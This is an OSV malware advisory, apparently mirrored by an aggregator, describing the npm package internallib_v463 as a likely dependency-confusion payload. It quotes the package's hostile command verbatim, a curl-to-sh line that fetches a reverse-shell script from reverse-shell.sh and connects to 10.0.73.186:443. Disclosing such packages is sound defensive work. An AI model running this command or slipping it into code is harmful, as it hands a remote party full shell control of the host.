Malicious code in internallib_v463 (npm)
Exploitation and risk
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osv · MAL-2026-16481
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7) index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.
- Source published
- 23 Sep 2026 18:30:31 UTC
- Source modified
- 23 Sep 2026 19:00:44 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.